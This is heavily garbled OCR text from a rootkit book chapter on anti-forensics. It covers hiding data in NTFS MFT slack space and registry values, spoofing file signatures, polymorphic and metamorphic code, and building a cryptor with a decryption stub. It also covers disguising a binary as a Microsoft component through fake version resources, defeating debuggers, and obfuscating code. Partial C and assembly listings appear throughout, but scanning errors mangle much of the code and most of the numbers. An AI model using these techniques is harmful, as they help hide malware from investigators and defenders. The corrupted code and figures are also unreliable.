mftByteOffset.QuadPart = mftByteOffset .QuadPart + mftHeader .bytesAllocj DBG_PRINT2( "\n [processMFT) : offset = %164)(", mftByteOffset. QuadPart) j ok = getNextSector(handle,&Sector,&mftByteOffset)j
if( !ok) {
printMFTHeader(mftHeader)j getRecordFileName(mftHeader, sector,fileName)j DBG_PRINT2("[processMFT): fileName = %5",fileName)j returnj }/*end processMFT()- -- --- --------------------------------------------------*/
If you glance over the output generated by this code, you'll see that there is plenty of unused space in the MIT. In fact, for many records less than half of the allocated space is used.
[Driver Entry): Dri ver is loading----------- - -----------------eeooaee1 0.aaaaa321 [getBootSector): Initialized attributes eeooaee2 0.aaaal467 [getBootSect or) : opened file eeooaee3 0.01859894 [getBootSector): read boot sector aaeeeee4 0.01860516 [printBootSector): ---------------------- -----------eeooaee5 0.01860823 bytes per sector = 512 00000006 0.01861075 sectors per cluster =8 0.01861375 total disk sectors eeooaee7 = C34FFFF 0.01861654 MFT LCN 00000008 = caaaa C 00000009 0. 01861906 MFT Mirr L N = 10 eaaaaa10 0.01862143 clusters/File record =0 eaaaaall 0.01862374 clusters/INDX record =1
564
Po rt III
eeeeee12 eeeeee13 eeeeee14 eeeeee15 eeeeee16 eeeeee17 eeeeee18 eeeeee19 eeeeee29 eeeeee21 eeeeee22 eeeeee23 eeeeee24 eeeeee25 eeeeee26 eeeeee27 eeeeee28 eeeeee29 eeeeee39 eeeeee31 eeeeee32 eeeeee33 eeeeee34 eeeeee35 eeeeee36 eeeeee37 eeeeee38 eeeeee39
eeeeee40
eeeee045
eeeee046
eeeee047
eeeee048
eeeee049
9.91862751 9.91863065 9.91863428 9.91863547 9.93991195 9.93991524 9.93991845 9.93992997 9.93992397 9. 939926n 9.93993026 9.93993305 9.93993948 9.93994299 9.93994569 9.93994681 9.93193104 9.93193481 9. 93193n4 9.93194919 9.93104312 9.93104592 9.93104913 9.93195164 9.93195828 9.93196135 9.93196421 9.93196533 9.93115389 9.93115745 9.93116938 9.93116299 9.93116597 9.93116884 9.93117219 9.93117484 9.93118134 9.93118441
volume SN = 497ElEC97ElEAF22 [printBootSector]: ------------------------- --------(processMFT]: record at offset = ceeeeeee (processMFT]: Record[ 9] [printMFTHeader]: Type = FILE [printMFTHeader]: offset to 1st Attribute = 56 [printMFTHeader]: Record is in use = 424 [printMFTHeader]: bytes used [printMFTHeader]: bytes allocated = 1924 [getRecordFileName]: $STANDARD_INFORMATION [getRecordFileName]: $FILE_NAME [getRecordFileName]: file name length = 4 (processMFT]: fileName = $MFT (processMFT]: record at offset = Ceee0409 (processMFT]: Record[ 1] [printMFTHeader]: Type = FILE [printMFTHeaderj: offset to 1st Attribute = 56 [printMFTHeader]: Record is in use [printMFTHeader]: bytes used = 344 [printMFTHeader]: bytes allocated = 1924 [getRecordFileName]: $STANDARD_INFORMATION [getRecordFileName] : $FILE_NAME [getRecordFileName]: file name length = 8 (processMFT]: fileName = $MFTMirr (processMFT]: record at offset = ceeeesee (processMFT]: Record [ 2] [printMFTHeader]: Type = FILE [printMFTHeader]: offset to 1st Attribute = 56 [printMFTHeader]: Record is in use [printMFTHeader]: bytes used = 344 [printMFTHeader]: bytes allocated = 1924 [getRecordFileName]: $STANDARD_INFORMATION [getRecordFileName]: $FILE_NAME [getRecordFileName]: file name length = 8 (processMFT]: fileName = $LogFile
Despite the fact that all of these hiding spots exist, there are issues that make this approach problematic. For instance, over time a file may acquire additional ACLs, have its name changed, or grow in size. This can cause the amount of unused space in an MFT record to decrease, potentially overwriting data that we have hidden there. Or, even worse, an MFT record may be deleted and then zeroed out when it's reallocated. Then there's also the issue of taking the data from its various hiding spots in the MFT and merging it back into usable files. What's the best way to do this? Should we use an index file like the slacker. exe tool? We'll need to
have some form of bookkeeping structure so that we know what we hid and where we hid it. These issues have been addressed in an impressive anti-forensics package called FragFS, which expands upon the ideas that I just presented and takes them to the next level. FragFS was presented by Irby Thompson and Mathew Monroe at the Black Hat Federal conference in 2006. The tool locates space in the MFT by identifying entries that aren't likely to change (i.e., nonresident files that haven't been altered for at least a year). The corresponding free space is used to create a pool that's logically formatted into 16-byte storage units. Unlike slacker. exe, which archives storage-related metadata in an external file, the FragFS tool places bookkeeping information in the last eight bytes of each MFT record. The storage units established by FragFS are managed by a KMD that merges them into a virtual disk that supports its own file system. In other words, the KMD creates a file system within the MFT. To quote Special Agent Fox Mulder, it's a shadow government within the government. You treat this drive as you would any other block-based storage device. You can create directory hierarchies, copy files , and even execute applications that are stored there. Unfortunately, like many of the tools that get demonstrated at conferences like Black Hat, the source code to the FragFS KMD will remain out of the public domain. Nevertheless, it highlights what can happen with proprietary file systems: the Black Hats can uncover a loophole that the White Hats don't know about and stay hidden because the White Hats can't get the information they need to build more effective forensic tools.
566
Pa rt III
as M42. There's really no way to successfully checksum the hive files that make up the registry. They're modified several times a second. Hence, one way to conceal a file would be to encrypt it, and then split it up into several chunks that are stored as REG_BINARY values in the registry. At run time these values could be reassembled to generate the target.
HKU\S-1-5-21-885233741-1867748576-23309226191aee_Classes\SomeKey\FilePartel HKU\S-1-5-21-885233741-1867748576-23309226191aee_Classes\SomeKey\FileParte2 HKU\S-1-5-21-885233741-1867748576-23309226191aee_Classes\SomeKey\FileParte3 HKU\S-1-5-21-885233741-1867748576-23399226191aee_Classes\SomeKey\FilePart94
Naturally, you might want to be a little more subtle with the value names that you use, and you might also want to sprinkle them around in various keys so they aren't clumped together in a single spot.
Aside
The goal of hiding data is to put it in location that's preferably outside the scope of current forensic tools, where it can be stored reliably and retrieved without too much effort. The problem with this strategy is that it's generally a short-term solution. Eventually the tool vendors catch up (e.g., slack space, ADSs, the HPA, the DCO, etc.). This is why if you're going to hide data you might also want to do so in conjunction with some form of data transformation, so that investigators doesn't realize what they've found is data and not random noise.
beginning of a file, you could fool the forensic tool by changing a text file's extension to "EXE" and inserting the letters "M" and "2" right at the start.
MZThis file (named file.exe) is definitely just a text file
This sort of signature analysis countermeasure can usually be exposed simply by opening a file and looking at it (or perhaps by increasing the size of the signature). The ultimate implementation of a signature analysis countermeasure would be to make text look like an executable by literally embedding the text inside of a legitimate, working executable (or some other binary format). This would be another example of application layer hiding and it will pass all forms of signature analysis with flying colors.
//this is actually an encoded configuration text file char configFile[) = "<CFG>ahvsd9p8yqw34iqwe9f8yashdvcuilqwie8yp9q83yl"Wk</CFG>";
Notice how I've enclosed the encoded text inside XML tags so that the information is easier to pick out of the compiled binary. The inverse operation is just as plausible. You can take an executable and make it look like a text file by using something as simple as the MUltipurpose Internet Mail Extensions (MIME) base 64 encoding scheme. If you want to augment the security of this technique you could always encrypt the executable before base 64 encoding it.
568
Po rt III
Polymorphic code modifies itself into different forms without changing the
code's underlying algorithm. In practice this is usually implemented using encryption. Specifically, the body of the polymorphic code is encrypted using a variable encryption key such that different results E.. [Code Body] are generated depending on the encryption key being used. The software component that decrypts the body of the polymorphic code at run time, referred to as the decryptor, is also made to vary so that the code as a E. [Code Body] whole mutates (see Figure 10-12).
Figure 10-12
27 http://www.ul.com/about/
Po rt III
I 569
The execution cycle begins with the decryptor using some key (i.e., k1) to decrypt the body of the polymorphic code. Once decrypted, the code recasts the entire executable where the code body is encrypted with a new encryption key (i.e., k2) and decryptor is transformed i~to a new form. Note that the decryptor itself is never encrypted. Instead it's transformed using techniques that don't need to be reversed (otherwise the decryptor would need its own decryptor). Early implementations of polymorphic code (known as oligomorphic code) varied the decryptor by breaking it up into a series of components. Each component was mapped to a small set of prefabricated alternatives. At run time, component alternatives could be mixed and matched to produce different versions of the decryptor, though the total number of possibilities tended to be relatively limited (e.g., -100 distinct decryptors). Polymorphic code tends to use more sophisticated methods to transform the decryptor, like instruction substitution, control flow modification, junk code insertion, registry exchange, and code permutation. This opcode-level transformation can be augmented with the algorithmic-level variation exhibited by classical oligomorphic code for added effect.
In volume 6 of the online publication 29A, a mal ware developer known as the Mental Driller presents a sample implementation of a metamorphic engine called MetaPHOR.28 The structure of this engine is depicted in Figure 10-13.
Disassembler
Compressor
Expander
Assembler
x86 Code
---+
IR Code
x86 Code
---+
Figure 10-13
28 Mental Driller, "How I made MetaPHOR and what I've learnt," 29A, Volume 6, http://www.29a.net/.
570
Part III
The fun begins with the disassembler, which takes the platform-specific machine code and disassembles it into a platform-neutral intermediate representation (IR) which is easier to deal with. The compressor takes the IR code and removes unnecessary code that was added during an earlier pass through the metamorphic engine. This way the executable doesn't grow uncontrollably as it mutates. The permutation component of the engine is what does most of the transformation. It takes the IR code and rewrites it so that it implements the same algorithm using a different series of instructions. Then, the expander takes this output and randomly sprinkles in additional code to further obfuscate what the code is doing. Finally, the assembler takes the IR code and translates it back into the target platform's machine code. The assembler also performs all the address and relocation fix-ups that are inevitably necessary as a result of the previous stages. Unlike the case of polymorphic code, the metamorphic engine transforms both itself and the body of the code using the same basic techniques. The random nature of permutation and compression/expansion help to ensure that successive generations bear no resemblance to their parents. However, this can also make debugging the metamorphic engine difficult. As time passes, it changes shape and this can introduce instance-specific bugs that somehow must be traced back to the original implementation. As Stan Lee says, with great power comes great responsibility. God bless you, Stan.
Code Body-OO
Code Body-Ol
Figure 10-14
Cryptors
Polymorphism and metamorphism are typically used as a means for selfreplicating malware to evade the signature detection algorithms developed by antivirus packages. It's mutation as a way to undermine recognition. Of the two techniques, polymorphism is viewed as the less desirable solution because the body of the code (i.e., the virus), which eventually ends up decrypted in memory, doesn't change. If a virus can be fooled into decrypting itself, then a signature can be created to identify it.
Part '"
1571
Given that this is a book on rootkits, we're not necessarily that interested in replication. Recognition isn't really an issue because our rootkit might be a custom-built set of tools that might never be seen again once it's served its purpose. Instead, we're more interested in subverting static examination and deconstruction. However, this doesn't mean that we can't borrow ideas from these techniques to serve our purposes. A cryptor is a program that takes an ordinary executable and encrypts it so that its contents can't be examined. During the process of encrypting the original executable, the cryptor appends a minimal stub program (see Figure 10-15). When the executable is invoked, the stub program launches and decrypts the encrypted payload so that the original program can run.
Figure 1015 Implementing a cryptor isn't necessarily difficult, it's just tedious. Much of it depends upon understanding the Windows PE file format (both in memory and on disk), so it may help to go back in the book to the chapter on hooking the IAT (Chapter 5) and refresh your memory. Assuming we have access to the source code of the original program, we'll need to modify the makeup of the program by adding two new sections. The sections are added using special preprocessor directives. The first new section (the. code section) will be used to store the application's code and data. The existing code and data sections will be merged into the new . code section using the linker's /MERGE option. The second new section (the. stub section) will implement the code that decrypts the rest of the program at run time and reroutes the path of execution back to the original entry point (see Figure 10-16).
572
Part III
.text
F-~~try Point
.rdata
.data
~============~------------.idata .stub
.rsrc
.idata
.rsrc
Figure 10-16
Once we've recompiled the source code, the executable (with its . code and . stub sections) will be in a form that the cryptor can digest. The cryptor will map the executable file into memory and traverse its file structure, starting with the DOS header, then the Windows PE header, then the PE optional header, and then finally the PE section headers. This traversal is performed so that we can find the location of the . code section, both on disk and in memory. The location of the . code section in the file (its size and byte offset) is used by the cryptor to encrypt the code and data while the executable lies dormant. The location of the. code section in memory (its size and base address) is used to patch the stub so that it decrypts the co.Tect region of memory at run time. Let's look at some source code to see exactly how this sort of cryptor works. We'll start by observing the alterations that will need to be made to prepare the target application for encryption. Specifically, the first thing that needs to be done is to declare the new . code section using the #pragma section directive. Then we'll issue several #pragma comment directives with the /MERGE option so that the linker knows to merge the . data section and . text section into the . code section. This way all of our code and data is in one place, and this makes life easier for the cryptor. The cryptor will simply read the executable looking for a section named. code, and that's what it will encrypt.
Part III
1573
Aside
You may be looking at Figure 10-16 and scratching your head. If so, read on. The average executable can be composed of several different sections. You can examine the metadata associated with them using the dumpbin. exe command with the /HEADERS option. The following is a list of common sections found in a Windows PE executable:
.text .data .bss . textbss .rsrc .idata .edata .reloc .rdata
The. text section is the default section for machine instructions. Typically, the linker will merge all of the . text sections from each OB] file into one great big unified . text section in the final executable. The . data section is the default section for global and static variables that are initialized at compile time. Global and static variables that aren't initialized at compile time end up in the . bss section. The. textbss section facilitates incremental linking. In the old days, linking was a batch process that merged all of the object modules of a software project into a single executable by resolving symbolic cross-references. The problem with this approach is that it wasted time because program changes usually only involved a limited subset of object modules. To speed things up, an incremental linker processes only modules that have recently been changed. The Microsoft linker runs in incremental mode by default. You can remove this section by disabling incremental linking with the /INCREMENTAL :NO linker option. The. rsrc section is used to store module resources, which are binary objects that can be embedded in an executable. For example, custom-built mouse cursors, fonts, program icons, string tables, and version information are all standard resources. A resource can also be some chunk of arbitrary data that's needed by an application (e.g., another executable).
The . idata section stores information needed by an application to import routines from other modules. The IAT resides in this section. Likewise, the . edata section contains information about the routines that an executable exports. The . reloc section contains a table of base relocation records. A base relocation is a change that needs to be made to a machine instruction, or literal value, in the event that the Windows loader wasn't able to load a module at its preferred base address. For example, by default the base address of EXE files is ex4eeeee. The default base address of DLL modules is exleeeeeee. If the loader can't place a module at its preferred base address, the module will need its relocation records to resolve memory addresses properly at run time. Most of the time this happens to DLLs. You can preclude the. reloc section by specifying the /FIXED linker option. However, this will require the resulting executable to always be loaded at its preferred base address. The . rdata section is sort of a mixed bag. It stores debugging information in EXE files that have been built with debugging options enabled. It also stores the descriptive string value specified by the DESCRIPTION statement in an application's module definition (DEF) file. The DEF file is one way to provide the linker with metadata related to exported routines, file section attributes, and the like. It's used with DLLs mostly.
The last of the #pragma comment directives (of this initial set of directive) uses the /SECTION linker option to adjust the attributes of the . code section so that it's executable, readable, and writeable. This is a good idea because the stub code will need to write to the . code section in order to decrypt it.
II.code SECTION----- ---------- ----- ------- - -- ---- ----------------------------
1*
Keep unreferenced data, linker options IOPT:NOREF
*1
limerge .text and .data into . code and change attributes
11th is will ensure that both globals and code are encrypted
#pragma #pragma #pragma #pragma sectionC . coden ,execute, read, write) cornnent(linker, n/MERGE:. text=.code n) cornnent(linker, n/MERGE: . data=. code) cornnent (linker, nISECTION: . code, ERWn)
Ileverything from here until the next code_seg directive belongs to .code section
Pa rt III
I 575
You can verify that the . text and . data sections are indeed merged by examining the compiled executable with a hex editor. The location of the . code section is indicated by the "file pointer to raw data" and "size of raw data" fields output by the dumpbin. exe command using the /HEADERS option.
SECTION HEADER #2 .code name 1D24 virtual size 1eee virtual address
lEee 4ee
e file pointer to relocation table 3C20 file pointer to line numbers o number of relocations 37E number of line numbers 60000020 flags Code (no align specified) Execute Read Write
If you look at the bytes that make up the . code section you'll see the hex digits exCAFEBABE. This confirms that both data and code has been fused together into the same region.
Creating the stub is fairly simple. You use the #pragma section directive to announce the existence of the . stub section. This is followed by a #pragma comment directive that uses the /ENTRY linker option to reroute the program's entry point to the StubEntry() routine. This way, when the executable starts up it doesn't try to execute main (), which will consist of encrypted code! For the sake of focusing on the raw mechanics of the stub, I've stuck to brain-dead XOR encryption. You can replace the body of the decryptCodeSection () routine with whatever. Also, the base address and size of the . code section were determined via dumpbin. exe. This means that building the stub correctly may require the target to be compiled twice (once to determine the. code section's parameters, and a second time to set the decryption parameters). An improvement would be to automate this by having the cryptor patch the stub binary and insert the proper values after it encrypts the . code section.
576
Po rt III
1*
can determine these values via dumpbin.exe then set at compile time can also have cryptor parse PE and set these during encryption
*1
#define COOE_BASE_AOORESS #define COOE_SIZE #define KEY void decryptCodeSection()
{
liwe'll use a Mickey Mouse encoding scheme to keep things brief unsigned char *ptr; long int i; long int nbytes; ptr = (unsigned char*)COOE_BASE_ADDRESS; nbytes = COOE_SIZE; for(i=0;i<nbytes;i++)
{
ptr[i] = ptr[i]
}
KEY;
return;
decryptCodeSection(); printf(ooStarted In Stub()\n main(); return; }/*end StubEntry()---- --- -- ----- ------------------ -- --- --- --- ---------- ----*1
OO );
Naturally, this approach assumes that you have access to the source code of the program to be encrypted. If not, you'll need to embed the entire target executable into the stub program somehow, perhaps as a binary resource or as a byte array in a dedicated file section. Then the stub code will have to take over many of the responsibilities assumed by the Windows loader: Mapping the encrypted executable file into memory Resolving import addresses Applying relocation record fix-ups (if needed)
Depending on the sort of executable you're dealing with, this can end up being a lot of work. Applications that use elaborate development technologies, like COM, or COM +, can be particularly sensitive.
Port III
1577
Another thing to keep in mind is that the IAT of the target application in the . idata section is not encrypted in this example and that this might cause some information leakage. It's like telling the police what you've got stashed in the trunk of your car. One way to work around this is to rely on run-time dynamic linking, which doesn't require the IAT. Or, you can go to the opposite extreme and flood the IAT with entries so that the routines that you do actually use can hide in the crowd, so to speak.
>
Note: See Cryptor in the appendix for a complete source code listing . Now let's look at the cryptor itself. It starts with a call to getHMODUlE ( ), which maps the target executable into memory. Then it walks through the executable's header structures via a call to the GetCodeloc () routine. Once the cryptor has recovered the information that it needs from the headers, it encrypts the . code section of the executable.
retVal = getHMODULE(fileName, &hFile, &hFileMapping, &fileBaseAddress)j if(retVal==FALSE){ returnj }
The really important bits of information that we extract from the target executable's headers are deposited in an ADDRESS_INFO structure. In order to decrypt and encrypt the. code section we need to know both where it resides in memory (at run time) and in the .exe file on disk.
typedef struct _ADDRESS_INFO
{
executable in memory section in memory section in .exe file by .code section in file
Looking at the body of the GetCodeloc () routine (and the subroutine that it invokes), we can see that the relevant information is stored in the IMAGE_OPTIONAL_HEADER and in the section header table that follows the optional header.
578
Po rt III
PlMAGE_DOS_HEADER dosHeader; PlMAGE_NT_HEADERS peHeader; lMAGE_OPTIONAL_HEADER32 optionalHeader; dosHeader = (PIMAGE_DOS_HEADER)baseAddress; peHeader = (PlMAGE_NT_HEADERS)DWORO)baseAddress + (*dosHeader).e_lfanew); optionalHeader = (*peHeader).OptionalHeader; (*addrlnfo).moduleBase = optionalHeader . lmageBase; (*addrlnfo) .moduleCodeOffset = optionalHeader.BaseOfCode; printf(OO[GetCodeLoc]: # sections=%d\no, (*peHeader).FileHeader.NumberOfSections); TraverseSectionHeaders IMAGE_FIRST_SECTION(peHeader), (*peHeader).FileHeader.NumberOfSections, addrlnfo
);
return; }/*end GetCodeLoc()--------------------------------------------------------*/ void TraverseSectionHeaders PlMAGE_SECTION_HEADER section, DWORO nSections, PADDRESS_INFO addrlnfo
[)..ORO
i;
Once the ADDRESS_INFO structure has been populated, processing the target executable is as simple as opening the file up to the specified offset and encrypting the necessary number of bytes. This isn't the only way to design a cryptor. There are a number of different approaches that involve varying degrees of complexity. What I've given you is the software equivalent of an economy class rental car. If you'd like to
Pa rt III
I 579
examine the source code of a more fully-featured cryptor, you can check out Yoda's Cryptor online.29
29 http://yodap.sourceforge.net/download.htm
30 ]. Riordan and B. Schneier, "Environmental Key Generation towards Clueless Agents,"
Mobile Agents and Security, G. Vigna, ed., Springer-Verlag, 1998, pp. 15-24.
31 Filiol E., "Strong Cryptography Armoured Computer Viruses Forbidding Code Analysis: The
Bradley Virus." In Turner, Paul and Broucek, Vlasti (eds.), EICAR 2005 Conference: Best
580
Po rt III
Packers
A packer is like a cryptor, only instead of encrypting the target binary the packer compresses it. Packers were originally used in the halcyon days of DOS to implement self-extracting applications, back when disk storage was at a premium and a gigabyte of drive space was unthinkable for the typical user. For our purposes, the intent of a packer is the same as that for a cryptor: We want to be able to hinder disassembly. Compression provides us with a way to obfuscate the contents of our executable. One fundamental difference between packers and cryptors is that packers don't require an encryption key. This makes packers inherently less secure. Once the compression algorithm being used has been identified, it's a simple matter to reverse the process and extract the binary for analysis. With encryption, you can know exactly which algorithm is in use (e.g., 3DES, AES, GOST) and still not be able to recover the original executable. One of the most prolific executable packers is UPX (the Ultimate Packer for eXecutables). Not only does it handle dozens of different executable formats, but its source code is also available online.32 Suffice it to say that the source code to UPX is not a quick read. If you'd like to get your feet wet before diving in to the blueprints of the packer itself, the source code to the stub program that does the decompression can be found in the src/stub directory of the UPX source tree. In terms of its general operation, the UPX packer takes an executable and consolidates its sections (. text, . data, . idata, etc.) into a single section named UPX1. By the way, the UPXl section also contains the decompression stub program that will unpack the original executable at run time. You can examine the resulting compressed executable with dumpbin. exe to confirm that it consists of three sections:
upxe
UPXl
.rsrc At run time, the upxe section is loaded into memory first, at a lower address. The upxe section is literally just empty space. On disk, upxe doesn't take up any space at all. Its raw data size in the compressed executable is 0, such that both upxe and UPXl start at the same file offset in the compressed binary. The UPXl section is loaded into memory above upxe, which makes sense because
32 http://upx.sourceforge.net/
Part III
I 581
the stub program in UPXl will decompress the packed executable starting at the beginning of upxe. As decompression continues, eventually the unpacked data will grow upwards in memory and overwrite data in UPXl.
.text
.rdata
.data
.idata
Entry Point
.rsrc
Figure 10-17
The UPX stub wrapper is a minimal program, with very few imports. You can verify this using the ever-handy dumpbin. exe tool.
C:\>dumpbin /imports packedApp.exe Dump of file packedApp.exe File Type: EXECUTABLE IMAGE Section contains the following imports: KERNEL32.DLL 4872Fe Import Address Table e Import Name Table e time date stamp e Index of first forwarder reference e LoadLibraryA
e GetProcAddress
e VirtualProtect
e VirtualAlloc
e Virtual Free e ExitProcess MSVCRge.dll 48738C e e e Import Address Table Import Name Table time date stamp Index of first forwarder reference
e exit
582
Po rtill
The problem with this is that it's a dead giveaway. Any forensic investigator who runs into a binary that has almost no embedded string data, very few imports, and sections named upxe and UPXl will immediately know what's going on. Unpacking the compressed executable is then just a simple matter of invoking UPX with the -d switch. Game over, the analyst just sank your battleship.
Another trick involves the judicious use of a resource definition script (.rc file), which is a text file that uses special C-like resource statements to define application resources. The following is an example of a VERSIONINFO resource statement that defines version-related data we can associate with an executable.
Port III
1583
BLOCK "StringFileInfo"
{
BLOCK "940994E4"
{
"CompanyName", "Microsoft Corporation" "FileVersion", "1.9.9.1" "FileOescription", "OLE Event handler" "InternalName", "TestCDB" "LegaICopyright", "I Microsoft Corporation. All rights reserved." "OriginaIFilename", "olemgr.exe" "ProductName", "Microsofte Windows e Operating System" "ProductVersion", "2.9.9.1"
BLOCK "VarFileInfo"
{
Once you've written the .rc file, you'll need to compile it with the Resource Compiler (RC) that ships with the Microsoft SDK.
C:\>rc.exe Iv Ifo olemgr.res olemgr.rc Microsoft (R) Windows (R) Resource Compiler Version 6.9.5724.9 Copyright (C) Microsoft Corporation. All rights reserved. Using codepage 1252 as default Creating olemgr.res olemgr . rc . Writing VERSION:1, lang:9x499, size 829
This creates a compiled resource (.res) file. This file can then be stowed into an application's. rsrc section via the linker. The easiest way to make this happen is to add the generated .res file to the Resource Files directory under the project's root node in the Visual Studio Solution Explorer. The final executable (e.g., olemgr . exe) will have all sorts of misleading details associated with it (see Figure 10-18).
If you look at olemgr. exe with the Windows Task Manager or the Sysinternals Process Explorer, you'll see strings like "OLE Event Handler," and "Microsoft Corporation." The instinctive response of many a harried system administrator is typically something along the lines of: "It must be one of those random utilities that shipped as an add-on when I did that install last week. It looks important (after all, OLE is core technology), so I better not mess with it."
oiemgrDe ProprrtiH
GenenI
Pre't'lOtM Venions
I'Iq)eny
Desc.nptJon
r",.
fie"""""
..
1 00 1
... ...
S..
001.""""-<1
310KS
9/JOI2OO8 11 42 NA
'-"'<Ie
_(U'Oedso.cesj
~ ~!!::IDl
Em:&!II k1~
~~
Figure 1018
OEMs like Dell and HP are notorious for trying to push their management suites and diagnostic tools during installs (HP printer drivers in particular are guilty of this). These tools aren't as well-known or as well-documented as the ones shipped by Microsoft. Thus, if you know the make and model of the targeted machine you can always try to disguise your binaries as part of a "value-added" OEM package.
If this is the case, there are countermeasures that can be employed. These countermeasures generally fall into one of two categories:
Attacks against the debugger Obfuscation
Po rt III
I 585
Breakpoints
A breakpoint is an event that allows the operating system to suspend the state of a module (or, in some cases, the state of the entire machine) and transfer program control over to a debugger. On the most basic level, there are two different types of breakpoints: Hardware breakpoints Software breakpoints
Hardware breakpoints are generated entirely by the processor such that the
machine code of the module being debugged need not be altered. On the IA-32 platform, hardware breakpoints are facilitated by a set of four 32-bit registers referred to as DRa, DR1, DR2, and DR3. These four registers store linear addresses. The processor can be configured to trigger a debug interrupt (i.e., INT axal, also known as the #DB trap) when the memory at one of these four linear addresses is read, written to, or executed.
586
Pa rt III
register). When TF is set, the processor generates a #DB trap after each machine instruction is executed. This allows the debugger to implement the type of functionality required to atomically trace the path of execution, one instruction at a time.
This routine returns zero if a debugger is not present. There isn't much to this routine; if you look at its disassembly you'll see that it's really only three or four lines of code:
B:ee9> uf kerne1321IsDebuggerpresent kerne132!IsDebuggerPresent: 7Sb3f9c3 64allsaaeeaa moy eax,dword ptr fs:[eeaeea18h] 7Sb3f9c9 8b403B moy eax,dword ptr [eax+3Bh] 7Sb3f9cc afb64e02 moYZX eax,byte ptr [eax+2] 7Sb3f9d0 c3 ret
One way to undermine the effectiveness of this call is to hook a program's IAT so that calls to IsDebuggerPresent() always return nonzero values. You can circumvent this defense by injecting this routine's code directly into your executable:
moy eax,dword ptr fs:[eeaeea18]j moy eax,dword ptr [eax+Bx3B]j cmp byte ptr [eax+Bx2],Bj je keepGoingj j otherwise terminate code here keepGoing:
If you look more closely at this code, and walk through its instructions, you'll see that this code is referencing a field in the application's PEB.
B:ee9> dd fs:[lBH] OO3b:eeaeea18 7ffdeee9 B:ee9> dd 7ffdeB3B 7ffdeB3B 7ffdfeea
aeaeaeea
aeeea4f8 eeaaas2B
No
Part III
1587
9:eee> dt nt!_PEB +0xeee Inheri tedAddressSpace +0xOOl ReadImageFileExecOptions +0x092 BeingDebugged +0xOO3 Bi tField
: : : :
Thus, a more decisive way to subvert this approach is simply to edit the BeingDebugged field in the PEB.
This routine refreshes and then returns the value of KD_DEBUGGER_NOT_ PRESENT global kernel variable.
if(KdRefreshOebuggerNotPresent()
{
==
FALSE)
If you wanted to, you could query this global variable directly; it's just that its value might not reflect the machine's current state:
if(KD_DEBUGGER_NOT_PRESENT
{
==
FALSE)
= FALSE;
588
Po rt III
flagsReg _asm
_except(EXCEPTION_EXECUTE_HANDLER)
{
notDetected
}
= TRUEj
if(notDetected)
{
As you may have suspected, there's a caveat to this approach. In particular, some debuggers will only be detected if the detection code is literally being stepped through (as opposed to the debugger merely being present).
Land Mines
If you can detect a debugger, then you're also in a position to spring an ambush on it. To keep this discussion as relevant as possible to the general audience, I'm going to avoid instance-specific land mines that target a particular debugger (e.g., SoftICE, WinDbg, etc.). In light of the discussion on how debuggers work, the most obvious land mine would probably involve hooking either INT 0x0l or INT 0x03. The best hooks will be subtle, so that the debugger does not crash or act suspiciously. For example, in a technique known as "The Running Line," you hook INT 0x0l such that each instruction is decrypted just before it is executed and then encrypted again immediately afterwards. This way, only a single machine instruction at a time is decrypted in memory. In other words, at any single point in time there's at most one line of disassembled code (the running line) that resolves to actual machine code. You can protect your land mine code by using the instructions as a decryption key. If the forensic investigator tries to disable your land mines by replacing them with NOP instructions, it will interfere with the decryption process and yield junk code.
Obfuscation
The goal of obfuscation is to alter an application so that: Its complexity (potency) is drastically amplified The intent of the original code is difficult to recover (i.e., the obfuscation is resilient) The application still functions correctly
Obfuscation can be performed at the source code level or machine code level. Both methods typically necessitate regression testing to ensure that the process of obfuscation hasn't altered the intended functionality of the final product. Obfuscation at machine code level is also known as "code morphing." This type of obfuscation uses random transformation patterns and polymorphic replacement to augment the potency and resilience of an executable. Code morphing relies on the fact that the IA-32 instruction set has been designed such that it's redundant; there's almost always several different ways to do the same thing. Machine-level obfuscators break up a program's machine code into small chunks and randomly replace these chunks with alternative
590
Port III
instruction snippets. Strongbit's Execryptor package is an example of an automated tool that obfuscates at the machine level. 33 Obfuscating at the source code level is often less attractive because it affects the code's readability from the standpoint of the developer. I mean, the idea behind obfuscation is to frustrate the forensic investigator, not the code's original architect! This problem can be somewhat mitigated by maintaining two source trees: one that's unprocessed (which is what gets used on a day-to-day basis) and another that's been obfuscated. Unlike machine-level obfuscation, source-level obfuscation is sometimes performed manually. It's also easier to troubleshoot if an unexpected behavior crops up. When it comes to obfuscation, there are tactics that can be applied to code and tactics that can be applied to data.
Data encoding determines how the bits that make up a variable are used to
represent values. For example, take a look at the following loop:
for(i=1;i<128; i++) { lido something
}
$LN3@function function: eax, DWORD PTR _i$ [ebp) eax, 1 lWJRO PTR _i$[ebp], eax
$LN3@ function: cmp lWJRO PTR _i$ [ebp], 128 jge $LNl@function ; do something
33 http://www.stringbit.com/execryptor.asp
Changing the encoding of the loop index by shifting two bits to the left obscures its intuitive significance and makes life more difficult for someone trying to understand what's going on.
for(i=4; i<S12; i=i+4) { //do something }
Granted, this example is trivial. But it should give you an idea of what I mean with regard to modifying the encoding of a variable.
Inlining and outlining Reordering operations Stochastic redundancy Using exception handling to transfer control Code interleaving Centralized function dispatching
Outlining is the flip side of the coin. It seeks to consolidate recurring snippets
of program logic into dedicated functions in an effort to trade off space for time. The program will require less space, but it will take more time to run due to the overhead of making additional function calls. Anyone who's worked with embedded systems, where memory is a scarce commodity, will immediately recognize this tactic. Taken to excess, this train of thought makes every statement into its own function call. If inlining results in no functions, outlining results in nothing but functions. Both extremes can confuse the forensic investigator.
Reordering operations relies on the fact that not all statements in a function
are sequentially dependent. This technique is utilized by identifying statements that are relatively independent of one another and mixing them up as much as possible. For added effect, reordering can be used in conjunction with interleaving (which will be described shortly). However, because this technique has the potential to cause a lot of confusion at the source code level, it's recommended that instruction reordering be performed at the machine code level. Anyone who's seen the 1977 Kung Fu movie entitled Golden Killah (part of the Wu Tang Forbidden Treasures series) will appreciate stochastic redundancy. In the movie, a masked rebel plagues local officials and eludes capture, seeming at times to defy death and other laws of nature. At the end of the film, we discover that there are actually dozens of rebels, all wearing the same outfit and the same golden mask. The idea behind this software
Po rt III
I 593
technique is similar in spirit: Create several slightly different versions of the same function and then call them at random. Just when the forensic investigators think that they've nailed down a routine, it pops up unexpectedly from somewhere else. Most developers are taught to use exception handling in a certain way. What our instructors typically fail to tell us is that exceptions can be used to perform abrupt global leaps between functions. Far jumps of this nature can make for painfully subtle transfers of program control, particularly when the jump appears to be a side effect rather than an official rerouting of the current execution path. This is one scenario where floating-point exceptions actually come in handy.
void Function-A ()
(
